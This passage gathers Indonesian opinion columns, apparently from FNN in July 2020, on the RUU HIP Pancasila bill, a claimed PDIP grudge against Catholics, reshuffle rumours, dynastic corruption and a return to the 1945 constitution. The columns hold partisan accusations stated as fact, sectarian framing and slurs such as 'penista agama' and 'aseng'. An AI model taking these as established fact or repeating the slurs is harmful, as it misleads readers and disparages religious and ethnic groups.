negara-negara Arika dan Amerika Latin. Meskipun baru direncanakan mulai terbang pada tahun 2022, pesawat ini sudah dipesan sebanyak 155 unit, sehingga dianggap sebagai proyek yang sangat prospektif. Bila PTDI bisa sinergi dengan proyek R-80, maka industri dirgantara nasional kita akan terus melangkah lebih jauh ke depan. Masuk ke pembuatan pesawat komersil, dengan terus membuat pesawat komersil berspesifikasi lebih besar. Penulis adalah Pemerhati Sosial Kemasyarakatan, Tinggal di Bandung

Jokowi dan Megawati Dendam Ideologis Terhadap Katolik

by Natalius Pigai Jakarta FNN – Ahad (05/07). Pada 21 Februari 1957, Sukarno memanggil semua pimpinan partai politik ke Istana. Sukarno melontarkan gagasan yang kemudian dikenal dengan nama “empat kaki”. Terdiri dari PNI, Masyumi, NU, dan PKI. Cikal Bakal Nasakom. Namun Masyumi dan Partai Katolik dengan tegas menyatakan penolakan terhadap gagasan “empat kaki” Soekarno. Sukarno ketika itu tersingung berat. I.J Kasimo sebagai Ketua Partai Katolik dengan tegas mengayatakan mundur. I.J Kasimo adalah salah satu motor utama menjatuhkan Sukarno. Akibatnya, tahun 1965 di Floress, ribuan pengikut komunis dibantai. Gereja Katolik seolah-olah diam membiarkan pembantian terhadap pengikut PKI oleh para algojo di Floress. Tidaklah mengherankan, bila tidak ada tempat bagi orang Katolik di eranya Jokowi dan PDIP sekarang. Jika mereka adalah pengikut Tri Sila, Eka Sila, dan anti terhadap individualism, karena itu adalah filosofi dasar dari faham komunis. Mungkin saja karena mereka dendam. Tahun 1991 L.B Mardani yang beragama Katolik menjaga Ibu Megawati di tengah tekanan Orde Baru yang sangat kuat dan keras. Tahun 1998 L.B Mardani juga berada dibalik kejatuhan Suharto. Ibu Megawati menjadi Presiden tahun 2001. Yacob Nuwa Wea ketika itu bisa menjadi menteri karena main keras. Yacob menggerakan buruh untuk menekan Ibu Megawati. Pada tahun 2014 PDIP berkuasa. Orang Katolik tidak dipakai. Andaikan Jonan bisa menjadi Menteri Perhubungan, karena diduga Jonan didukung asing (pengusaha yang berbasis di Singapura). Selain itu, tuntutan dari rakyat yang kuat karena Jonan dinilai sukses membenahi moda transportasi Kereta Api Indonesia (KAI). Pada tahun 2019, Jhoni Plate menjadi Menteri Komunikasi dan Informatika. Keberadaan Jhoni Plate di kabinet bukan karena wakil dari Katolik. Namun karena diusulkan oleh Surya Paloh sebagai wakil dari Partai Nasdem. Hari ini orang-orang NTT disingkirkan semua dari Pengurus DPP PDIP. Sama sekali tidak ada satu orangpun masuk di struktur inti partai. Keberadaan Hasto Kristiyanto sebagai Sekjen PDIP hanya sebagai simbol tipu-tipu muslihat PDIP. Dipastikan Jokowi dan Megawati tidak akan memberikan Hasto menduduki jabatan menteri. Andre Parera untuk menjadi Dubes saja sulitnya bukan kepalang. Padahal dulu Andre Parera adalah Ketua Departemen Luar Negeri PDIP sebagai partai penguasa. Hari ini, ada sekitar 2.200 jabatan yang bisa ditunjuk dengan tangannya Jokowi. Namun orang Katolik kurang lebih hanya dua atau tiga orang saja yang menjadi komisaris di BUMN. Itupun karena usaha dan kerja keras mereka. Kemampuan dan profesionalisme yang dipunyai mereka. Tokoh Katolik yang hebat hari ini adalah Frans Leburaya, Mantan Gubernur NTT dua periode. Frans sekarang mengangur. Diabaikan begitu saja di struktur PDIP. Untuk jabatan Menteri atau Dubes juga sulit. Begitu juga dengan Cornelius, mantan Gubernur Kalbar. Jika tidak terpilih menjadi anggota DPR RI, Cornelius sudah yakin bakal diacuhkan. Sepertinya Katolik bagi PDIP, Megawati dan Jokowi ada persoalan prinsipil masa lalu yang mengganjal . Mungkinkah itu soal “ideologi”? Orang Katolik dan minoritas, sebaiknya jangan selalu girang dan Gede Rasa (GR) karena PDIP mendukung Kepala Daerah atau anggota legislatif yang berasal dari Katolik. Karena untuk partai politik, langkah itu sebagai hal biasa untuk mencari dukungan massa (vote getters). Lihat saja ukuranya itu adalah berapa jabatan yang diakasih melalui penunjukkan. Catatan ini bukan soal jabatan, tetapi persoalan ideologis. Ini soal prinsip dasar bernegara Pancasila dan ideologi yang dijiwai oleh spirit sosialisme, leninisme, komunisme dan marxisme, Eka Sila, Tri Sila. Juga anti individualisme atau anti penghargaan terhadap kreatifitas manusia. Kesimpulannya sepanjang PDIP, Jokowi, Megawati masih memilih visi, misi Sosio demokrasi, Ketuhanan yang Berkebudayaan, mungkin “Gujarat” (sansekerta) hinduisme Jawa, Tri Sila, Eka Sila dan Mematikan Individualisme (membunuh kreatifitas individu). Maka jangan pernah bermimpi PDIP menjadi rumah bagi Katolik dan kaum minoritas. Penulis adalah Aktivis (PMKRI) Kelompok Cipayung, Aktif di Pergerakan dan Diskusi di PRD 1997-1999.

Umat Islam Jangan Terjebak Dengan Isu Reshuffle

by M Rizal Fadillah Jakarta FNN – Ahad (05/07). Dari adegan marah-marah di rapat dengan para menteri, dengan ujungnya adalah ancaman reshuffle. Maka ceritra menjadi berlanjut. Reshuffle dimainkan menjadi isu baru untuk mengalihkan pehatian umat Islam dari masalah vital dan serius Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP). Rapat yang sudah dilaksanakan tanggal 18 Juni 2020 itu sengaja dimunculkan lagi satu minggu kemudian. Maka mulia muncul isu reshuffle. Mulai dari susunan nama-nama hoaks di medsos soal si anu menjadi menteri, si anu akan dicopot. Masyarakat dicoba dibuat "tertarik" untuk urusan ganti-ganti menteri, agar ada mainan baru yang bisa menggeser RUU HIP. RUU HIP ini dapat membuat keguncangan politik yang keras. Rakyat kemungkinan akan berhadap-hadapan secara nyata. Satu kelompok menolak dengan keras RUU HIP. Kelompok ini pendukung Pancasila konsensus tanggal 18 Agustus 1945, yang dimotori oleh umat Islam. Imamnya adalah Majelis Ulama Indonesia (MUI), NU, Muhammadiyah dan dua ratus lebih ormas Islam. Kelompok lainnya, yang disebut Ustadz Edy Mulyadi, wartawan senior FNN.co.id yang juga Sekjen GNPF Ulama adalah “Gerombolan Trisila dan Ekasila”. Kelompok ini pendukung setia Pancasila 1 Juni 1945. Gerombolan Trisila dan Ekasila didukung penuh oleh PDIP sebagai partai pengusul utama RUU HIP. Tentu saja PDIP partai pemenang Pemilu sekaligus menjadi partai Pemerintah menjadi sorotan. Komandan koalisi partai pendukung Presiden ini dibongkar bongkar "borok-boroknya”. Tidak tanggung-tanggung yang dibuka. Soal neo PKI dan Komunisme. Hanya gara-gara ngotot menolak Tap MPRS XXV tahun 1966 dan keberanian memuat pasal Trisila dan Ekasila pada RUU HIP. Gelombang aksi belum reda. Bahkan cenderung bereskalasi ke seluruh daerah di Indonesia. Rakyat, khusunya umat Islam tidak tertarik dengan "penundaan" atau ganti nama jadi “RUU PIP atau RUU BIP” atau apapun namanya. Seruan masih tetap saja sama. Hentikan atau cabut. Tidak berlaku ganti nama Pemerintah dan beberapa Fraksi DPR terlihat masih mencoba bermain-main dengan rakyat, khususnya umat Islam. Tidak mau dicabutnya RUU HIP dari Prolegnas. Padahal sudah sepakat untuk mencabut 16 pasal dai RUU HIP. Ini membuktikan masih bermain-mainnya pihak-pihak yang berkepentingan. Reshuffle hanyalah "olah geser" perhatian rakyat, khususnya umat Islam. Istana mulai mencoba ikut meramaikan. Entah siapa yang mulai melontarkan, seolah-olah manusia super kontroversial Ahok nanti menjadi Menteri BUMN. Ahok diisukan akan menggantikan Erick Thohir. Soal Ahok akan menggantikan Erick ini pun bagian dari olahan pengalihan isu saja. Agar publik, khususnya umat Islam masuk ke dalam ruang pro kontra soal Ahok sebagai si penista agama. Jabatan lain seolah-oleh ditawarkan juga ke berbagai kader partai. Mainan dagang sapi menjelang Iedul Adha. Jika rakyat, khususnya umat Islam tetap fokus pada pembelaan terhadap ideology Pancasila 18 Agustus 1945, maka isu reshuffle akan hilang dengan sendirinya. Realitanya reshuffle kabinet tersebut bukan masalah yang penting sekarang ini. Mau reshuffle atau tidak sama saja. Begitu juga dengan isu tentang Ahok. Mau si mulut penista agama ini masuk atau tidak sebagai menteri, juga tidak ada pengaruhnya. Malah lebih bagus kalau Ahok masuk sebagai menteri. Sebab masalah utama bangsa bukan pada Ahok. Ada empat masalah utama bangsa hari ini. Pertama, kebangkrutan ekonomi nasional. Kebangkrutan ini sudah terjadi jauh sebelum datangnya pendemi covid 19. Kedua, penjajahan oleh asing dan aseng, khususnya China komunis. Ketiga, adanya rongrongan terhadap keberadaan dan eksistensi ideologi Pancasila konsesnus 18 Agustus 1945. Rongrongan itu dating dari gerombolan Trisila dan Ekasila, yang menjadi pendukung setia Pancasila 1 Juni 1945. Keempat, masalah pada Jokowi sebagai Kepala Negara dan Kepala Pemerintahan. “Jokowi tidak mampu menempatkan dirinya sebagai Presiden yang patuh dan taat kepada panduan-panduan bernegara yang tertera dan tersaji dengan sangat jelas di konstitusi UUD 1945, kata Ahli Hukm Tata Negara Dr. Margarito Kamis, “Mengurus Republik, Presiden Dilarang Ngawur (FNN.co.id, Kamis 02/07/2020) Khusus soal Ahok tidak perlu untuk diributkan. Biarkan saja Ahok ikut dalam barisan Kabinet hasil reshuffle nanti. Mau urus Kementerian BUMN atau Menteri tanpa urusan pun tidak apa-apa. Kehadirannya justru akan menjadi "boomerang" bagi Pemerintah Jokowi nantinya. Toh sudah terbukti ketika jadi Komisaris Utama Pertamina. Ahok tidak becus juga mendongkrak Pertamina. Malah mesti diusut penyelewengan dana yang ada di Pertamina selama "seumur jagung" dirinya menjabat. Pertamina sekarang malah jadi tukang peras rakyat sebesar Rp. 7 triliun lebih setiap bulan dari penjualan BBM di dalam negeri. Lebih parah dari penjajah VOC Balanda. Isu reshuffle pun menjadi cermin dari keputusasaan Jokowi sendiri "tidak ada progress" serunya. Bukti akan ketidakmampuan menjadi dirigen yang memacu semangat kerja tim dalam orkestra. Marah-marah tentu bukan solusi. Orang bisa membaca bahwa kapal akan segera karam. Makanya nakhoda sedang panik. Rakyat tidak perlu terjebak dengan isu reshuffle. Tetap saja fokus pada bagaimana menyelamatkan ideologi Pancasila dari penggerogotan atau pembusukan kelompok yang bertarget pada penggantian. Lalu berjuang keras agar Indonesia tidak terjajah oleh negara China komunis yang mencoba menanamkan kuku melalui investasi dan hutang luar negeri. Jikapun terpaksa harus ikut berfikir soal reshuffle, maka ditimbang dalam-dalam tentang efektivitas dan efisiensi. Apalagi yang berkaitan dengan pemulihan ekonomi dan politik ini. Apakah perlu untuk reshuffle Menteri atau reshuffle Presiden ? Bila pilihannya adalah "reshuffle" Presiden, kenapa tidak? Toh konstitusi bernera kita UUD 1945 mengatur pilihan atas kedua-duanya. Penulis adalah Pemerhati Politik dan Kebangsaan.

Hanya di Era Roformasi, Suami Bupati & Isteri Ketua DPRD

by Gde Siriana Yusuf Jakarta FNN – Sabtu (04/07). Kita tak pernah sungguh-sungguh dengan reformasi. Faktanya ada suami yang menjabat sebagai Bupati, dan istrinya malah menjadi Ketua DPRD di Kabupaten yang sama. Fakta seperti ini bukan menjijikan, tetapi menghina para mahasiswa yang menjadi Pahlawan Reformasi. Publik negeri ini dibuat kaget sejati-jadinya setelah ada Operasi Tangkap Tangan (OTT) KPK di Kabupaten Kutai Timur, Kalimantan Timur. Bupati dan Ketua DPRD Kutai Timur ditangkap KPK. Keduanya adalah suami-isteri yang menjadi pejabat tertinggi eksekutif dan legislatif di kabupaten ini. Bukti bahwa KKN di era reformasi ini justru makin berkarat. Semua politisi selalu berdalih tidak bahwa ada aturan yg melarang. Makanya satu keluarga bisa masuk ke dalam pemerintahan dan parlemen bersama-sama. Upaya ini membentuk dinasti yang berkuasa turun-temurun. Ujung-ujungnya korupsi dan abuse of power terjadi tanpa kontrol dari legislatif. Politik itu beda dengan hukum positif. Politik itu berbasis gentlemen, goodwill, trust. Punya etika dan moral. Meski tidak ada aturan yang melarang. Makanya moral dan etika yngg bekerja untuk mengontrol syahwat dan kekuasaan diri sendiri. Maksudnya agar tidak terjadi abuse of power dan conflict of interest. Dengan sistem politik dan kontestasi yngg didrive oleh uang yang marak saat ini, uang menjadi penentu. Hanya pengusaha kaya, dan kepala daerah yang punya kuasa beserta keluarganya yang boleh ikut dalam kontestasi politik. Jika tidak, pasti dibelakangnya ada pemodal pengusaha kaya. Nikmat berkuasa itu memang memabukkan. Hanya orang ikhlaslah, yang mau mengabdi untuk rakyat dan orang banyak. Yang merasakan bahwa berkuasa itu berat dan penuh dengan ujian. Tetapi karena adanya godaan selama menjabat itu merasakan nikmatnya harta dan kekuasaan. Jadinya ketika menjabat seperti orang yang kalap. Berlaku serba aji mumpung. Mendorong keluarga untuk kejar jabatan politik, meski tadak punya kemampuan dan kapasitas. Perilaku politik tanpa moral dan etika ini terjadi pada semua level kekuasaan. Dara pusat hingga daerah. Tidak aneh, jaka terjadi pembiaran-pembiaran di sana-sani. Karena semua serba heppi. Kecuali rakyat, daerah dan negara yang menjada korban. Semua serba diam, karena ikut menikmati sistem politik dan kontestasi yang berbasis uang. Tak pernah terjadi Parpol atau kandidat didiskualifikasi atau dipidana karena money politic. Tetapa semua menyaksikan wanipiro ini benar-benar terjadi di depan mata kita. Tak heran outputnya adalah konflik kebijakan dan korupsi. Yang belom ditangkap, hanya karena lihai dengan pengaruh dan uangnya. Kini setelah orang tuanya berkuasa. Juga terkumpul uang banyak, maka uang dan pengaruh itu digunakan untuk menjadikan anak-istrinya duduki jabatan kekuasaan. Supaya nikmatnya kekuasan ini bisa dirasakan secara turun-temurun sekeluarga. Tidsk ada lagi rasa malu. Apalagi takut kapada Allah SWT bahwa kekuasaan itu adalah amanat untuk sejahterakan rakyat. Tak pernah ada yang mau buktikan soal money politic. Berapa uang untuk menang dalam kontes politik. Padahal ini sebagai dasar kuat bahwa kandidat terpilih karena KKN. Sebab tadak masuk akal, jika gaji Gubernur yang hanya Rp 8 jutaan, sedangkan untuk menang kontestasi sponsornya perlu keluarkan uang antara Rp. 300-500 miliar. Jika kondisi ini terus terjadi, maka Indonesia tidak kan pernah berhasil untuk membangun mensejahterakan rakyatnya. Karena anggarn sebenarnya sudah dirampok sejak kontestasi politik. Berapa banyak uang untuk memenangkan kontestasi? Termasuk mahar untuk parpol? Itulah yang akan ditanggung oleh rakyat dari inefisiensi pembangunan. Penulis adalah Direktur Eksekutif Indonesia Future Studies (INFUS).

RUU HIP Untuk Kontemplasi 61 Tahun Dekrit Presiden 5 Juli 1959

by Mayjen TNI (Purn) Prijanto “Baik penentang dan pengusul RUU HIP teriak : Pancasila Dasar Negara, Pancasila Ideologi Negara, Pancasila Sumber Segala Sumber Hukum Negara, Pancasila Alat Pemersatu, dan lain-lain. Kalau sudah paham Pancasila, lalu mau ngapain?” (Group WhatsApp). Jakarta FNN – Sabtu (04/07). Kesadaran rakyat tentang Pancasila di atas, pada hakikatnya karena adanya Rancangan Undang-Undang (RUU) Himpunan Ideologi Pancasila (HIP). RUU ini digugat oleh rakyat. Besok, Minggu 5 Juli 2020, genap 61 tahun Dekrit Presiden tanggal 5 Juli 1959. Peristiwa Dekrit Presiden ini momentum untuk rakyat berkontemplasi. Apakah Pancasila sekarang sudah dijadikan norma fundamental untuk bernegara? Lalu apa kata para tokoh? Persatuan Bangsa Terbelah Pertama, Prof. Dr. Effendi Ghazali. “Bangsa ini terbelah gara-gara Presidential Threshold (PT)”. Pendapat ini digunakan sebagai alasan permohonan uji materiil UU No.17/2017 Tentang Pemilu. Namun ditolak oleh Mahkamah Konstitusi (MK). Penolakan ini juga terasa aneh. Bagaimana mungkin ambang batas dari Pemilu sebelumnya 2014, digunakan sebagai dasar pelaksanaan Pilpres 2019? Kedua, “tidak mau bangsa terpecah lagi”. Prof. Dr. Jimly Assiddiqie mendukung Presidential Threshold ditiadakan” (12/6/2020). Artinya, Jimly sejalan dengan gugatan Effendi Gazali. Penyebab lainnya, karena liberalisme politik yang memaksa Presiden ke bawah bersikap pragmatis, jangka pendek dan transaksional. Budaya feodal, sikap Asal Bapak Senang (ABS) dan medsos tidak terkendali, lanjut Jimly Assiddiqie. (WhatsApp, 23/6/2020). Semua itu terkait dengan hasil amandemen UUD 1945. Tanpa maksud apa-apa, untuk membedakan dengan UUD 1945 asli. Hasil amandemen dalam artikel ini, kita sebut UUD 2002. Lalu bagaimana hubungan Dasar Negara dengan Undang-Undang Dasar dan pendapat tentang UUD 2002? Dasar Negara dan UUD 2002 Pertama, teori Hans Nawiasky, “die theorie vom stufenordung der rehtsnormen”. Bahwa Dasar Negara posisi teratas. Sebagai norma fundamental negara atau “Staatsfundamentalnorm”. Sedang Undang-undang Dasar atau Aturan Pokok Negara merupakan “Staatsgrundgesetz”. Pancasila sebagai Norma Fundamental Negara di Pembukaan UUD 1945. Pendiri negara secara cerdas telah mentransformasikan nilai-nilai Pancasila ke dalam Batang Tubuh UUD 1945. Sehingga isi Batang Tubuh koheren dengan Pembukaan. Pembukaan dan isi Batang Tubuh diberi penjelasan di bagian ‘Penjelasan’ UUD 1945. Kedua, Prof. Dr. Kaelan berpendapat, beberapa pasal dalam UUD 2002, tidak konsisten dan tidak koheren dengan Pancasila. Perubahan hampir 90 % tidak tepat disebut amandemen. Amandemen seharusnya hanya beberapa pasal dengan memberikan adendum pada Undang-Undang Dasar aslinya. Konstitusi kita saat ini, hakikatnya telah mengganti UUD 1945. Dengan demikian, itu berarti telah membubarkan Negara Proklamasi 17/8/1945. Sehingga tidak tepat jika disebut UUD 1945. Karena tidak lagi memiliki korelasi dengan Proklamasi, lanjut Prof. Kaelan. Ketiga, tahun 2002, MPR RI membentuk Komisi Konstitusi. Tugas komisi ini untuk mengkaji hasil amandemen. Prof. Dr. Dahlan Thaib menulis, “Nasib Kerja Komisi Konstitusi tentang Amandemen UUD 1945” dengan ringkasan antara lain : Pengaturan sistem Presidential, prinsip kedaulatan rakyat, konsep negara hukum dan “check and balance” tidak diterapkan secara konsisten. Amandemen UUD 1945 terkesan menciptakan sistem pemerintahan dan sistem ketatanegaraan yang tidak jelas. Rumusan pasal-pasalnya multi interpretative, sehingga bisa menimbulkan instabilitas hukum dan politik. Keempat, keprihatinan dan usulan para tokoh, terkait UUD 2002, terhimpun dalam beberapa buku, yaitu (1) “Bangkit, Bersatu, Bergerak, Berubah atau Punah” (2) “Mengapa Kita Harus Kembali ke UUD 1945” (3) “Undang Undang Dasar Negara Republik Indonesia 1945 Disertai Adendum” (4) “Pancasila Jati Diri Bangsa” (5) “Kaji Ulang Perubahan UUD 1945”. Analisis dan Rekomendasi Pilpres langsung melahirkan liberalisasi politik, akibat dari demokrasi liberal. Siapa kuat, siapa berduit, menang. Kenyataan ini bertentangan dengan Pancasila. Penikmat Pilpres langsung bilang, inilah kedaulatan rakyat yang benar. Benarkah? Tidak juga. Itu hanya demokrasi semu. Hanya kulitnya, sesaat saja. Hanya lima menit di bilik coblosan. Selanjutnya, kedaulatan milik rakyat musnah. Kedaulatan beralih milik Ketua Parpol dan pemilik modal. Bagaimana tidak, dia bisa mencopot wakil rakyat tanpa tanya kepada pemilihnya. Demokrasi liberal diramaikan oleh buzzer politik, guna memenangkan jagonya. Medsos sebagai wahana melahirkan adu domba, fitnah, ujaran kebencian, hujatan, dan kebohongan. Dampak buruk pemilihan langsung tidak hanya itu. Prof. Mahfud MD mengatakan, “sekarang KKN lebih banyak dari zaman pak Harto. Zaman reformasi itu lebih parah….” (ILC TV One). Sejumlah pengamat juga ikut membenarkan Mahfud MD yang menyebut, Pilkada saat ini seperti peternakan koruptor, (Harian Terbit, 20/4/2018). Jika konstitusi UUD 2002 memiliki berbagai kelemahan. Juga berdampak buruk dalam bernegara. Apalagi beberapa pasal bertentangan dengan Norma Fundamental Negara, maka tepatlah kita melakukan kontemplasi. Apakah UUD 2002 sudah sesuai dengan jiwa Pancasila? Jika Batang Tubuh UUD 2002 tidak koheren dengan Pancasila, tidaklah salah jika kita “Kembali ke UUD 1945”? Prinsip mengatasi ketersesatan di jalan adalah dengan kembali ke titik awal. Jangan lanjutkan berjalan dari posisi yang salah. Akibatnya akan akan lebih tersesat lagi. Jangan berkilah kita tidak bisa memutar balik arah jarum jam ke belakang. Siapa bilang? Kita punya banyak pengalaman. Dari UUD 1945, kita pernah berganti ke UUD RIS. Setelah itu kita berganti lagi ke UUDS ’50. Melalui Dekrit Presiden 5 Juli 1959, kita kembali lagi ke UUD 1945. Jangan bilang, kalau kembali lagi ke UUD 1945, akan menghidupkan lagi Dwi Fungsi ABRI. Tidaklah mungkin itu bisa terjadi lagi. Mengapa tidak terjadi lagi? Karena UUD 1945 tidak pernah dan tidak ada satu katapun yang berbicara tentang Dwi Fungsi ABRI. Takut Presiden bisa dipilih terus menerus? Kita sempurnakan dengan adendum pembatasaan masa jabatan Presiden. Takut kalau Polisi kembali digabung dengan TNI? Gampang, sempurnakan dengan memberikan tugas yang jelas dengan adendum. Adendum itu diijinkan, karena hakikat pasal 37 UUD 1945 memang untuk perubahan yang bersifat teknis saja. (Mr. Soepomo dalam Sidang BPUPKI). Melalui pemahaman posisi dan peran Pancasila, mari kita gunakan untuk mengkaji, apakah pasal-pasal dalam UUD 2002 sudah menjiwai Pancasila? Walaupun Dekrit Presiden 1959 sudah 61 tahun yang lalu, kiranya nafas dan tekad untuk kembali ke cita-cita Proklamasi waktu itu, masih relevan untuk saat ini. Tidak perlu mengakui salah. Amandemen yang lebih 20 tahun yang lalu, sudah kadaluarsa. Kita cukup menyadari bahwa saat ini kita sudah jauh tersesat. Jauh dari cita-cita proklamasi. Demi bangsa dan Negara, harus berani bertindak “Kembali ke UUD 1945 untuk disempurnakan dengan adendum”. Amin. Penulis adalah Aster KASAD 2006-2007 & Rumah Kebangkitan Indonesia.

Tinjauan Yuridis (2): Polisi Tidak Boleh Hentikan LP TAKTIS

Oleh Mochamad Toha Jakarta, FNN - Selanjutnya, Pasal 40 ayat 5 UU Parpol menunjuk pada keberadaan Parpol yang menganut dan mengembangkan serta menyebarkan ajaran atau paham komunisme/Marxisme-Leninisme. Jadi, Pasal 40 ayat 5 UU Parpol terkait dengan Pasal 107e huruf a dan Pasal 107a UU Keamanan Negara sebagaimana disebutkan sebelumnya. Ketiga pasal itu tergolong delik formil, yakni perbuatan yang tidak mempersyaratkan/membutuhkan adanya suatu akibat tertentu. Kedua, Pasal 107d UU Keamanan Negara. Pasal ini merupakan delik pemberat atau delik spesialis dari Pasal 107a. Pada Pasal 107a atas perbuatan menyebarkan atau mengembangkan ajaran Komunisme/Marxisme-Leninisme tidaklah dimaksudkan untuk mengubah atau mengganti Pancasila. Pelaku hanya melakukan menyebarkan atau mengembangkannya. Tidak demikian halnya dengan Pasal 107d, pelaku menyebarkan atau mengembangkan ajaran Komunisme/Marxisme -Leninisme ”dengan maksud” mengubah atau mengganti Pancasila sebagai dasar Negara. Sama halnya dengan Pasal 107a pembentuk UU menambahkan frasa ”dan atau melalui media apapun” mengandung pengertian yang luas. Menurut Abdul Chair Ramadhan termasuk dalam kaitan perumusan rancangan undang-undang (in casu RUU HIP). “Sepanjang dilakukan dengan maksud itu mengubah atau mengganti Pancasila sebagai dasar Negara, maka Partai pengusul RUU HIP bisa dijerat dengan Pasal 107d,” ujar Abdul Chair Ramadhan. Pada tindakan mengubah atau mengganti Pancasila, maka kesengajaan sebagai maksud memang diarahkan guna mencapai tujuan yang dikehendaki. Perubahan dimaksud antara lain yang paling prinsip adalah perihal Ketuhanan Yang Maha Esa dan Keadilan Sosial. “Keadilan Sosial disebutkan dalam RUU HIP sebagai sendi pokok Pancasila (Pasal 6 ayat 1 RUU HIP). Dengan demikian, posisinya menggantikan sila pertama Ketuhanan Yang Maha Esa. Tegasnya terjadi perubahan posisi (mutasi) sila,” tegasnya. Hal ini secara tidak langsung juga mengamandemen Pasal 29 ayat 1 UUD 1945, “Negara berdasar atas Ketuhanan Yang Maha Esa”, tergantikannya dengan “Negara berdasar atas Keadilan Sosial”. Dalam kaitan ancaman dan bahaya ajaran Komunisme/Marxisme-Leninisme, maka terjadinya perubahan demikian memberikan peluang masuknya konsep Keadilan Sosial versi Sosialisme -Komunisme. Kemudian perihal ketuhanan yang berkebudayaan dalam RUU-HIP (Pasal 7 ayat 2 RUU HIP) melekat erat dengan sosio-nasionalisme dan sosio-demokrasi yang kemudian terkristalisasi dalam Ekasila, yaitu gotong-royong. Walaupun pemahaman ini diambil dari pidato Bung Karno saat sidang di BPUPKI tanggal 1 Juni 1945, namun itu tidak menjadi keputusan BPUPKI. Oleh karenanya, penggunaan istilah ketuhanan yang berkebudayaan adalah sama dengan merubah atau mengganti Pancasila (in casu Ketuhanan Yang Maha Esa). Pasal 107d juga tergolong delik formil. Ketiga, Pasal 107e huruf b UU Keamanan Negara menunjuk pada perbuatan mengadakan hubungan dengan atau memberikan bantuan kepada organisasi, baik di dalam maupun di luar negeri; Yang diketahuinya berasaskan ajaran Komunisme/Marxisme-Leninisme atau dalam segala, bentuk dan perwujudannya dengan maksud mengubah dasar negara atau menggulingkan Pemerintah yang sah. Sepanjang Parpol melakukan perbuatan sebagaimana dimaksudkan dalam Pasal 107e huruf b, maka delik telah selesai. Delik ini tak memerlukan adanya suatu akibat atas hubungan dengan organisasi di luar negeri; “Yang diketahuinya berasaskan ajaran Komunisme/Marxisme-Leninisme. Dengan demikian tak perlu menunggu terjadinya perubahan atas Pancasila sebagai dasar negara (delik formil),” ungkap Abdul Chair Ramadhan. Empat, Pasal 156a huruf a KUHP menunjuk pada rumusan RUU HIP yang mengandung sifat penodaan suatu agama. Penodaan pada suatu agama yang dianut di Indonesia adalah melakukan perbuatan yang oleh umat penganut agama yang bersangkutan dinilai sebagai menodai agama tersebut. Penodaan di sini mengadung sifat penghinaan, melecehkan atau meremehkan dari suatu agama (in casu Islam). Perbuatan konkrit dalam RUU HIP adalah mengganti kedudukan sila Ketuhanan Yang Maha Esa dengan sila Keadilan Sosial. Sebagaimana bunyi Pasal 6 ayat 1 RUU HIP yang menyatakan sendi pokok Pancasila adalah keadilan sosial. Oleh karenanya, menempatkan sila Keadilan Sosial pada posisi sila pertama dan menempatkan sila Ketuhanan Yang Maha Esa pada posisi yang paling bawah (sila ke-5). Dengan demikian, sila Ketuhanan Yang Maha Esa tidak lagi melingkupi, mendasari dan menjiwai sila-sila lainnya. Kemudian, Ketuhanan Yang Maha Esa digantikan dengan ketuhanan yang berkebudayaan sebagaimana disebutkan dalam Pasal 7 ayat 2 RUU HIP. Rumusan demikian termasuk penodaan terhadap agama dalam hal ini terhadap Allah SWT. Selain itu, agama tidak termasuk dalam pembangunan nasional. Agama hanya menjadi sub-bidang dari pembangunan nasional disandingkan bersama rohani dan kebudayaan (Pasal 23 huruf a RUU HIP). Pembinaan agama sebagai pembentuk mental dan karakter bangsa dengan menjamin syarat-syarat spiritual dan material untuk kepentingan kepribadian dan kebudayaan nasional Indonesia dan menolak pengaruh buruk kebudayaan asing (Pasal 23 huruf a RUU HIP). “Rumusan demikian terkait dengan paham ketuhanan yang berkebudayaan. Agama hanya menjadi alat pembentukan mental dan kebudayaan,” tegas Abdul Chair Ramadhan. Kedudukan agama semakin termarginalisasi, hanya untuk mental dan kebudayaan. Pasal 1 angka 10 RUU HIP menyebutkan, “tata Masyarakat Pancasila yang berketuhanan”, tanpa sebutan, “Yang Maha Esa”. Tata Masyarakat Pancasila bertujuan membentuk Manusia Pancasila (Pasal 12 ayat 1 RU HIP). Ciri Manusia Pancasila disebut, “beriman dan bertakwa kepada Tuhan Yang Maha Esa sesuai dengan agama dan kepercayaannya masing-masing menurut dasar kemanusiaan yang adil dan beradab.” Pasal 12 ayat 3 huruf a RUU HIP. Frasa “menurut dasar kemanusiaan yang adil dan beradab” telah mengalahkan sila pertama Ketuhanan Yang Maha Esa. Agama Islam akan semakin termarginalkan, harus berdasarkan kemanusiaan yang adil dan beradab. Pasal 156a huruf a KUHP juga termasuk delik formil. Kelima, Pasal 14 ayat 1 UU Peraturan Hukum Pidana menunjuk pada adanya suatu perbuatan menyiarkan berita atau pemberitahuan bohong. Berita atau pemberitahuan bohong ini terkait dengan keberadaan Keadilan Sosial yang disebutkan dalam RUU HIP sebagai sendi pokok Pancasila. Padahal yang menjadi sendi pokok adalah Ketuhanan Yang Maha Esa. Pasal ini memang termasuk delik materil yang mempersyaratkan harus adanya keonaran di kalangan masyarakat. Padahal faktanya, pengusulan RUU HIP sebagai hak inisiatif telah menimbulkan keonaran di kalangan masyarakat secara meluas. Berbagai Ormas besar seperti MUI Pusat dengan MUI Daerah, PBNU, PP Muhammadiyah dan lain-lainnya telah menyatakan sikap penolakan dan meminta dihentikannya pembahasan RUU a quo. Kesemuanya itu telah menunjukkan fakta terjadinya kegaduhan/kegemparan yang demikian sangat. Hal tersebut dibuktikan dengan berbagai aksi demontrasi yang demikian meluas di berbagai wilayah dalam rentang waktu yang cukup lama. Pasal 14 ayat 1 UU Peraturan Hukum Pidana menentukan perbuatan “dengan sengaja”. Hal ini bermakna terjadinya keonaran melingkupi tiga corak (gradasi) kesengajaan yakni “dengan maksud”, “sadar kepastian” atau “sadar kemungkinan”. Ketiga corak kesengajaan tersebut bersifat alternatif. Pada suatu kondisi, timbulnya akibat berupa keonaran walaupun tidak dikehendaki, namun menurut doktrin harus dipertanggung-jawabkan secara hukum pidana. Tidak dikehendakinya akibat yang berujung pertanggungjawaban pidana menunjuk pada corak kesengajaan sadar kepastian atau sadar kemungkinan. Perihal dengan sengaja ini juga berlaku pada Pasal 156a huruf a KUHP. Kesemua rumusan tindak pidana tersebut di atas berhubungan dengan Pasal 55 ayat 1 ke-1 KUHP (delik penyertaan). Pada delik penyertaan, antara satu peserta dengan peserta yang lainnya adalah satu kesatuan. Jadi, trdapat dua bentuk kesengajaan dalam penyertaan. Pertama, elemen melawan hukum subjektif yakni sikap batin diantara para pelaku. Kesengajaan untuk mengadakan kerjasama dalam rangka mewujudkan suatu delik. Kedua, elemen melawan hukum objektif. Adanya 